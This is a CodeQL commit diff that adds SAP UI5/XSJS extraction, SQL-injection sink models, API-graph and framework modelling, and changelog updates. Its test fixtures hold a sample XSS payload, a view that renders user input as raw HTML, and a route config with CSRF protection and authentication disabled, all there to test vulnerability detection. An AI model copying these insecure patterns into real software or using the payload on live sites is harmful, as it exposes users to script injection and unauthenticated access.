Merge branch 'main' into js/name-resolution-independent-fixes

This commit is contained in:
Asger F
2025-04-02 14:15:44 +02:00
committed by GitHub
778 changed files with 26643 additions and 8489 deletions

View File

@@ -160,6 +160,9 @@ import com.semmle.util.trap.TrapWriter;
* is of the form "codeql-javascript-*.json".
* <li>JavaScript, JSON or YAML files whose base name starts with ".eslintrc".
* <li>JSON files whose base name is ".xsaccess".
* <li>JSON files whose base name is "xs-app.json".
* <li>JSON files whose base name ends with ".view.json".
* <li>JSON files whose base name is "manifest.json".
* <li>All extension-less files.
* </ul>
*
@@ -394,10 +397,12 @@ public class AutoBuild {
for (FileType filetype : defaultExtract)
for (String extension : filetype.getExtensions()) patterns.add("**/*" + extension);
// include .eslintrc files, .xsaccess files, package.json files,
// tsconfig.json files, and codeql-javascript-*.json files
// include JSON files which are relevant to our analysis
patterns.add("**/.eslintrc*");
patterns.add("**/.xsaccess");
patterns.add("**/.xsaccess"); // SAP XSJS
patterns.add("**/xs-app.json"); // SAP XSJS
patterns.add("**/*.view.json"); // SAP UI5
patterns.add("**/manifest.json");
patterns.add("**/package.json");
patterns.add("**/tsconfig*.json");
patterns.add("**/codeql-javascript-*.json");

View File

@@ -0,0 +1,16 @@
{
"Type": "sap.ui.core.mvc.JSONView",
"controllerName": "codeql-sap-js.controller.app",
"content": [
{
"Type": "sap.m.Input",
"placeholder": "Enter Payload",
"description": "Try: <img src=x onerror=alert(\"XSS\")>",
"value": "{/input}"
},
{
"Type": "sap.ui.core.HTML",
"content": "{/input}"
}
]
}

View File

@@ -0,0 +1,87 @@
#10000=@"/test.view.json;sourcefile"
files(#10000,"/test.view.json")
#10001=@"/;folder"
folders(#10001,"/")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=*
json(#20000,5,#10000,0,"{\n "" ... ]\n}")
#20001=@"loc,{#10000},1,1,16,1"
locations_default(#20001,#10000,1,1,16,1)
json_locations(#20000,#20001)
#20002=*
json(#20002,3,#20000,0,"""sap.ui ... ONView""")
#20003=@"loc,{#10000},2,13,2,38"
locations_default(#20003,#10000,2,13,2,38)
json_locations(#20002,#20003)
json_literals("sap.ui.core.mvc.JSONView","""sap.ui.core.mvc.JSONView""",#20002)
json_properties(#20000,"Type",#20002)
#20004=*
json(#20004,3,#20000,1,"""codeql ... er.app""")
#20005=@"loc,{#10000},3,23,3,52"
locations_default(#20005,#10000,3,23,3,52)
json_locations(#20004,#20005)
json_literals("codeql-sap-js.controller.app","""codeql-sap-js.controller.app""",#20004)
json_properties(#20000,"controllerName",#20004)
#20006=*
json(#20006,4,#20000,2,"[\n ... }\n ]")
#20007=@"loc,{#10000},4,16,15,5"
locations_default(#20007,#10000,4,16,15,5)
json_locations(#20006,#20007)
#20008=*
json(#20008,5,#20006,0,"{\n ... }")
#20009=@"loc,{#10000},5,9,10,9"
locations_default(#20009,#10000,5,9,10,9)
json_locations(#20008,#20009)
#20010=*
json(#20010,3,#20008,0,"""sap.m.Input""")
#20011=@"loc,{#10000},6,21,6,33"
locations_default(#20011,#10000,6,21,6,33)
json_locations(#20010,#20011)
json_literals("sap.m.Input","""sap.m.Input""",#20010)
json_properties(#20008,"Type",#20010)
#20012=*
json(#20012,3,#20008,1,"""Enter Payload""")
#20013=@"loc,{#10000},7,28,7,42"
locations_default(#20013,#10000,7,28,7,42)
json_locations(#20012,#20013)
json_literals("Enter Payload","""Enter Payload""",#20012)
json_properties(#20008,"placeholder",#20012)
#20014=*
json(#20014,3,#20008,2,"""Try: < ... SS\"")>""")
#20015=@"loc,{#10000},8,28,8,68"
locations_default(#20015,#10000,8,28,8,68)
json_locations(#20014,#20015)
json_literals("Try: <img src=x onerror=alert(""XSS"")>","""Try: <img src=x onerror=alert(\""XSS\"")>""",#20014)
json_properties(#20008,"description",#20014)
#20016=*
json(#20016,3,#20008,3,"""{/input}""")
#20017=@"loc,{#10000},9,22,9,31"
locations_default(#20017,#10000,9,22,9,31)
json_locations(#20016,#20017)
json_literals("{/input}","""{/input}""",#20016)
json_properties(#20008,"value",#20016)
#20018=*
json(#20018,5,#20006,1,"{\n ... }")
#20019=@"loc,{#10000},11,9,14,9"
locations_default(#20019,#10000,11,9,14,9)
json_locations(#20018,#20019)
#20020=*
json(#20020,3,#20018,0,"""sap.ui.core.HTML""")
#20021=@"loc,{#10000},12,21,12,38"
locations_default(#20021,#10000,12,21,12,38)
json_locations(#20020,#20021)
json_literals("sap.ui.core.HTML","""sap.ui.core.HTML""",#20020)
json_properties(#20018,"Type",#20020)
#20022=*
json(#20022,3,#20018,1,"""{/input}""")
#20023=@"loc,{#10000},13,24,13,33"
locations_default(#20023,#10000,13,24,13,33)
json_locations(#20022,#20023)
json_literals("{/input}","""{/input}""",#20022)
json_properties(#20018,"content",#20022)
json_properties(#20000,"content",#20006)
numlines(#10000,16,0,0)
filetype(#10000,"json")

View File

@@ -0,0 +1,12 @@
{
"welcomeFile": "index.html",
"authenticationMethod": "none",
"routes": [
{
"source": "/bad/(.*)",
"destination": "srv_api",
"csrfProtection": false,
"authenticationType": "none"
}
]
}

View File

@@ -0,0 +1,68 @@
#10000=@"/xs-app.json;sourcefile"
files(#10000,"/xs-app.json")
#10001=@"/;folder"
folders(#10001,"/")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=*
json(#20000,5,#10000,0,"{\n "" ... ]\n}")
#20001=@"loc,{#10000},1,1,12,1"
locations_default(#20001,#10000,1,1,12,1)
json_locations(#20000,#20001)
#20002=*
json(#20002,3,#20000,0,"""index.html""")
#20003=@"loc,{#10000},2,20,2,31"
locations_default(#20003,#10000,2,20,2,31)
json_locations(#20002,#20003)
json_literals("index.html","""index.html""",#20002)
json_properties(#20000,"welcomeFile",#20002)
#20004=*
json(#20004,3,#20000,1,"""none""")
#20005=@"loc,{#10000},3,29,3,34"
locations_default(#20005,#10000,3,29,3,34)
json_locations(#20004,#20005)
json_literals("none","""none""",#20004)
json_properties(#20000,"authenticationMethod",#20004)
#20006=*
json(#20006,4,#20000,2,"[\n ... }\n ]")
#20007=@"loc,{#10000},4,15,11,5"
locations_default(#20007,#10000,4,15,11,5)
json_locations(#20006,#20007)
#20008=*
json(#20008,5,#20006,0,"{\n ... }")
#20009=@"loc,{#10000},5,9,10,9"
locations_default(#20009,#10000,5,9,10,9)
json_locations(#20008,#20009)
#20010=*
json(#20010,3,#20008,0,"""/bad/(.*)""")
#20011=@"loc,{#10000},6,23,6,33"
locations_default(#20011,#10000,6,23,6,33)
json_locations(#20010,#20011)
json_literals("/bad/(.*)","""/bad/(.*)""",#20010)
json_properties(#20008,"source",#20010)
#20012=*
json(#20012,3,#20008,1,"""srv_api""")
#20013=@"loc,{#10000},7,28,7,36"
locations_default(#20013,#10000,7,28,7,36)
json_locations(#20012,#20013)
json_literals("srv_api","""srv_api""",#20012)
json_properties(#20008,"destination",#20012)
#20014=*
json(#20014,1,#20008,2,"false")
#20015=@"loc,{#10000},8,31,8,35"
locations_default(#20015,#10000,8,31,8,35)
json_locations(#20014,#20015)
json_literals("false","false",#20014)
json_properties(#20008,"csrfProtection",#20014)
#20016=*
json(#20016,3,#20008,3,"""none""")
#20017=@"loc,{#10000},9,35,9,40"
locations_default(#20017,#10000,9,35,9,40)
json_locations(#20016,#20017)
json_literals("none","""none""",#20016)
json_properties(#20008,"authenticationType",#20016)
json_properties(#20000,"routes",#20006)
numlines(#10000,12,0,0)
filetype(#10000,"json")

View File

@@ -1,3 +1,35 @@
## 2.6.0
### New Features
* Extraction now supports regular expressions with the `v` flag, using the new operators:
- Intersection `&&`
- Subtraction `--`
- `\q` quoted string
### Major Analysis Improvements
* Added support for TypeScript 5.8.
### Minor Analysis Improvements
* Added support for additional `fs-extra` methods as sinks in path-injection queries.
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
* Added support for the `underscore.string` package.
* Added additional flow step for `unescape()` and `escape()`.
* Added support for the `@tanstack/vue-query` package.
* Added taint-steps for `unescape()`.
* Added support for the `@tanstack/angular-query-experimental` package.
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
* Added support for the `react-relay` library.
## 2.5.1
No user-facing changes.

View File

@@ -1,4 +0,0 @@
---
category: majorAnalysis
---
* Added support for TypeScript 5.8.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added support for the `react-relay` library.

View File

@@ -1,7 +0,0 @@
---
category: feature
---
* Extraction now supports regular expressions with the `v` flag, using the new operators:
- Intersection `&&`
- Subtraction `--`
- `\q` quoted string

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.

View File

@@ -1,5 +0,0 @@
---
category: minorAnalysis
---
* Added support for the `@tanstack/angular-query-experimental` package.
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added support for the `@tanstack/vue-query` package.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added taint-steps for `unescape()`.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added additional flow step for `unescape()` and `escape()`.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added support for the `underscore.string` package.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Improved support for `got` package with `Options`, `paginate()` and `extend()`

View File

@@ -1,4 +0,0 @@
---
category: minorAnalysis
---
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.

View File

@@ -0,0 +1,31 @@
## 2.6.0
### New Features
* Extraction now supports regular expressions with the `v` flag, using the new operators:
- Intersection `&&`
- Subtraction `--`
- `\q` quoted string
### Major Analysis Improvements
* Added support for TypeScript 5.8.
### Minor Analysis Improvements
* Added support for additional `fs-extra` methods as sinks in path-injection queries.
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
* Added support for the `underscore.string` package.
* Added additional flow step for `unescape()` and `escape()`.
* Added support for the `@tanstack/vue-query` package.
* Added taint-steps for `unescape()`.
* Added support for the `@tanstack/angular-query-experimental` package.
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
* Added support for the `react-relay` library.

View File

@@ -1,2 +1,2 @@
---
lastReleaseVersion: 2.5.1
lastReleaseVersion: 2.6.0

View File

@@ -0,0 +1,27 @@
extensions:
- addsTo:
pack: codeql/javascript-all
extensible: sinkModel
data:
- ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"]
- ["hdb.Client", "Member[exec,prepare,execute].Argument[0]", "sql-injection"]
- ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"]
- ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"]
- addsTo:
pack: codeql/javascript-all
extensible: typeModel
data:
- ["hdb.Client", "hdb", "Member[createClient].ReturnValue"]
- ["hdb.Client", "@sap/hdbext", "Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[db]"]
- addsTo:
pack: codeql/javascript-all
extensible: sourceModel
data:
- ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[exec].Argument[1].Parameter[1]', 'database-access-result']
- ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[prepare].ReturnValue.Member[execBatch,exec,execQuery].Argument[1].Parameter[1]', 'database-access-result']
- ['hdb.Client', 'Member[exec,execute].Argument[1..2].Parameter[1]', 'database-access-result']
- ['hdb.Client', 'Member[prepare].Argument[1].Parameter[1].Member[exec].Argument[1].Parameter[2..]', 'database-access-result']
- ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[2].Parameter[1].Member[exec].Argument[1].Parameter[2..]", "database-access-result"]
- ['@sap/hdbext', 'Member[loadProcedure].Argument[3].Parameter[1].Argument[2].Parameter[2..]', 'database-access-result']

View File

@@ -1,5 +1,5 @@
name: codeql/javascript-all
version: 2.5.2-dev
version: 2.6.1-dev
groups: javascript
dbscheme: semmlecode.javascript.dbscheme
extractor: javascript

View File

@@ -318,6 +318,11 @@ module API {
Node getParameter(int i) {
Stages::ApiStage::ref() and
result = this.getASuccessor(Label::parameter(i))
or
exists(int spreadIndex, string arrayProp |
result = this.getASuccessor(Label::spreadArgument(spreadIndex)).getMember(arrayProp) and
i = spreadIndex + arrayProp.toInt()
)
}
/**
@@ -860,6 +865,23 @@ module API {
.getStaticMember(name, DataFlow::MemberKind::getter())
.getAReturn()
)
or
// Handle rest parameters escaping into external code. For example:
//
// function foo(...rest) {
// externalFunc(rest);
// }
//
// Here, 'rest' reaches a def-node at the call to externalFunc, so we need to ensure
// the arguments passed to 'foo' are stored in the 'rest' array.
exists(Function fun, DataFlow::InvokeNode invoke, int argIndex, Parameter rest |
fun.getRestParameter() = rest and
rest.flow() = pred and
invoke.getACallee() = fun and
invoke.getArgument(argIndex) = rhs and
argIndex >= rest.getIndex() and
lbl = Label::member((argIndex - rest.getIndex()).toString())
)
)
or
exists(DataFlow::ClassNode cls, string name |
@@ -888,6 +910,11 @@ module API {
i = -1 and lbl = Label::receiver()
)
or
exists(int i |
spreadArgumentPassing(base, i, rhs) and
lbl = Label::spreadArgument(i)
)
or
exists(DataFlow::SourceNode src, DataFlow::PropWrite pw |
use(base, src) and pw = trackUseNode(src).getAPropertyWrite() and rhs = pw.getRhs()
|
@@ -931,6 +958,29 @@ module API {
)
}
pragma[nomagic]
private int firstSpreadIndex(InvokeExpr expr) {
result = min(int i | expr.getArgument(i) instanceof SpreadElement)
}
pragma[nomagic]
private InvokeExpr getAnInvocationWithSpread(DataFlow::SourceNode node, int i) {
result = node.getAnInvocation().asExpr() and
i = firstSpreadIndex(result)
}
private predicate spreadArgumentPassing(TApiNode base, int i, DataFlow::Node spreadArray) {
exists(
DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke, int spreadPos
|
use(base, use) and
pred = trackUseNode(use, _, bound, "") and
invoke = getAnInvocationWithSpread(pred, spreadPos) and
spreadArray = invoke.getArgument(spreadPos).(SpreadElement).getOperand().flow() and
i = bound + spreadPos
)
}
/**
* Holds if `rhs` is the right-hand side of a definition of node `nd`.
*/
@@ -1579,6 +1629,9 @@ module API {
/** Gets the edge label for the receiver. */
LabelReceiver receiver() { any() }
/** Gets the edge label for a spread argument passed at index `i`. */
LabelSpreadArgument spreadArgument(int i) { result.getIndex() = i }
/** Gets the `return` edge label. */
LabelReturn return() { any() }
@@ -1628,6 +1681,7 @@ module API {
} or
MkLabelReceiver() or
MkLabelReturn() or
MkLabelSpreadArgument(int index) { index = [0 .. 10] } or
MkLabelDecoratedClass() or
MkLabelDecoratedMember() or
MkLabelDecoratedParameter() or
@@ -1743,6 +1797,21 @@ module API {
override string toString() { result = "getReceiver()" }
}
/** A label representing an array passed as a spread argument at a given index. */
class LabelSpreadArgument extends ApiLabel, MkLabelSpreadArgument {
private int index;
LabelSpreadArgument() { this = MkLabelSpreadArgument(index) }
/** Gets the argument index at which the spread argument appears. */
int getIndex() { result = index }
override string toString() {
// Note: This refers to the internal edge that has no corresponding method on API::Node
result = "getSpreadArgument(" + index + ")"
}
}
/** A label for a function that is a wrapper around another function. */
class LabelForwardingFunction extends ApiLabel, MkLabelForwardingFunction {
override string toString() { result = "getForwardingFunction()" }

View File

@@ -254,6 +254,12 @@ private module Cached {
cached
predicate invocation(DataFlow::SourceNode func, DataFlow::InvokeNode invoke) {
hasLocalSource(invoke.getCalleeNode(), func)
or
exists(ClassDefinition cls, SuperCall call |
hasLocalSource(cls.getSuperClass().flow(), func) and
call.getBinder() = cls.getConstructor().getBody() and
invoke = call.flow()
)
}
/**

View File

@@ -56,14 +56,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
predicate hasCfgNode(js::BasicBlock bb, int i) { this = bb.getNode(i) }
}
predicate ssaDefAssigns(WriteDefinition def, Expr value) {
// This library only handles use-use flow after a post-update, there are no definitions, only uses.
none()
}
class Parameter = js::Parameter;
predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) {
predicate ssaDefHasSource(WriteDefinition def) {
// This library only handles use-use flow after a post-update, there are no definitions, only uses.
none()
}
@@ -97,7 +90,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
}
pragma[inline]
predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
exists(js::ConditionGuardNode g |
g.getTest() = guard and
g.dominates(bb) and

View File

@@ -11,8 +11,8 @@ module Hapi {
*/
class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
ServerDefinition() {
// `server = new Hapi.Server()`
this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
// `server = new Hapi.Server()`, `server = Hapi.server()`
this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
or
// `server = Glue.compose(manifest, composeOptions)`
this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()

View File

@@ -434,7 +434,7 @@ module NodeJSLib {
* method might represent a file path.
*/
private predicate fsExtraExtensionFileParam(string methodName, int i) {
methodName = ["copy", "copySync", "copyFile"] and i = [0, 1]
methodName = ["copy", "copySync", "copyFile", "cp", "copyFileSync", "cpSync"] and i = [0, 1]
or
methodName = ["move", "moveSync"] and i = [0, 1]
or
@@ -450,10 +450,13 @@ module NodeJSLib {
or
methodName = ["readJson", "readJSON", "readJsonSync", "readJSONSync"] and i = 0
or
methodName = ["remove", "removeSync"] and i = 0
methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0
or
methodName =
["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and
[
"outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync",
"outputJSONSync", "outputJsonSync"
] and
i = 0
or
methodName = ["ensureFile", "ensureFileSync"] and i = 0
@@ -462,9 +465,15 @@ module NodeJSLib {
or
methodName = ["ensureSymlink", "ensureSymlinkSync"] and i = [0, 1]
or
methodName = ["emptyDir", "emptyDirSync"] and i = 0
methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0
or
methodName = ["pathExists", "pathExistsSync"] and i = 0
or
methodName = ["lutimes", "lutimesSync"] and i = 0
or
methodName =
["opendir", "opendirSync", "openAsBlob", "statfs", "statfsSync", "open", "openSync"] and
i = 0
}
/**
@@ -592,6 +601,13 @@ module NodeJSLib {
}
}
/** A vectored write to the file system using `writev` or `writevSync` methods. */
private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess {
NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] }
override DataFlow::Node getADataNode() { result = this.getArgument(1) }
}
/** A file system read. */
private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }
@@ -619,6 +635,22 @@ module NodeJSLib {
}
}
/** A vectored read to the file system. */
private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess,
NodeJSFileSystemAccess
{
NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] }
override DataFlow::Node getADataNode() {
result = this.getArgument(1)
or
exists(DataFlow::ArrayCreationNode array |
array.flowsTo(this.getArgument(1)) and
result = array.getAnElement()
)
}
}
/**
* A write to the file system, using a stream.
*/

View File

@@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
or
token.getName() = "DecoratedParameter" and
result = node.getADecoratedParameter()
or
token.getName() = "GuardedRouteHandler" and
result = getAGuardedRouteHandlerApprox(node)
}
bindingset[node]
pragma[inline_late]
private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
// For now just get any routing node with the same root (i.e. the same web app), as
// there are some known performance issues when checking if it is actually guarded by the given node.
exists(JS::Routing::Node root |
root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
root = JS::Routing::getNode(result.asSink()).getRootNode()
)
}
/**
@@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
[
"Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
"NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
"WithStringArgument"
"WithStringArgument", "GuardedRouteHandler"
]
}
@@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
name =
[
"AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
"DecoratedClass", "DecoratedMember", "DecoratedParameter"
"DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
]
}

View File

@@ -1,3 +1,17 @@
## 1.5.2
### Bug Fixes
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
attribute is once again functioning as a sink for the `js/xss` query.
* Fixed a bug that would in rare cases cause some regexp-based checks
to be seen as generic taint sanitisers, even though the underlying regexp
is not restrictive enough. The regexps are now analysed more precisely,
and unrestrictive regexp checks will no longer block taint flow.
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
## 1.5.1
No user-facing changes.

View File

@@ -1,5 +0,0 @@
---
category: fix
---
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.

View File

@@ -1,7 +0,0 @@
---
category: fix
---
* Fixed a bug that would in rare cases cause some regexp-based checks
to be seen as generic taint sanitisers, even though the underlying regexp
is not restrictive enough. The regexps are now analysed more precisely,
and unrestrictive regexp checks will no longer block taint flow.

View File

@@ -1,6 +0,0 @@
---
category: fix
---
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
attribute is once again functioning as a sink for the `js/xss` query.

View File

@@ -0,0 +1,13 @@
## 1.5.2
### Bug Fixes
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
attribute is once again functioning as a sink for the `js/xss` query.
* Fixed a bug that would in rare cases cause some regexp-based checks
to be seen as generic taint sanitisers, even though the underlying regexp
is not restrictive enough. The regexps are now analysed more precisely,
and unrestrictive regexp checks will no longer block taint flow.
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.

View File

@@ -1,2 +1,2 @@
---
lastReleaseVersion: 1.5.1
lastReleaseVersion: 1.5.2

View File

@@ -1,5 +1,5 @@
name: codeql/javascript-queries
version: 1.5.2-dev
version: 1.5.3-dev
groups:
- javascript
- queries

View File

@@ -9,3 +9,21 @@ function f() {
lib.m1({
...f()
})
function getArgs() {
return [
'x', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */
'y', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */
]
}
lib.m2(...getArgs());
function f3() {
return [
'x', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */
'y', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */
]
}
lib.m3.bind(undefined, 1)(...f3());

View File

@@ -0,0 +1,21 @@
const express = require('express');
const app = express();
const testlib = require('testlib');
app.get('/before', (req, res) => {
sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
sink(req.injectedResData); // OK - wrong parameter
sink(res.injectedReqData); // OK - wrong parameter
sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
});
app.use(testlib.middleware());
app.get('/after', (req, res) => {
sink(req.injectedReqData); // NOT OK
sink(req.injectedResData); // OK - wrong parameter
sink(res.injectedReqData); // OK - wrong parameter
sink(res.injectedResData); // NOT OK
});

View File

@@ -1,6 +1,10 @@
legacyDataFlowDifference
consistencyIssue
taintFlow
| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
| paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
| test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
| test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |

View File

@@ -13,6 +13,8 @@ extensions:
- ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
- ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
- ['danger-constant', 'Member[danger]', 'test-source']
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
- addsTo:
pack: codeql/javascript-all

View File

@@ -0,0 +1,36 @@
var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
var Hapi = require('@hapi/hapi');
var server2 = new Hapi.Server(); // HTTP::Server
function handler1(){} // HTTP::RouteHandler
server2.route({
handler: handler1
});
server2.route({
handler: function handler2(request, reply){ // HTTP::RouteHandler
request.response.header('HEADER1', '') // HTTP::HeaderDefinition
}});
server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
})
function handler4(request, reply){
request.rawPayload;
request.payload.foo;
request.query.bar;
request.url.path;
request.headers.baz;
request.state.token;
}
var route = {handler: handler4};
server2.route(route);
server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
function getHandler() {
return function (req, h){}
}
server2.route({handler: getHandler()});

View File

@@ -9,6 +9,11 @@ test_RouteSetup
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
| src/hapiglue.js:31:1:31:20 | server2.route(route) |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
| src/hapihapi.js:29:1:29:20 | server2.route(route) |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
test_RequestExpr
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
@@ -38,12 +43,27 @@ test_RequestExpr
| src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
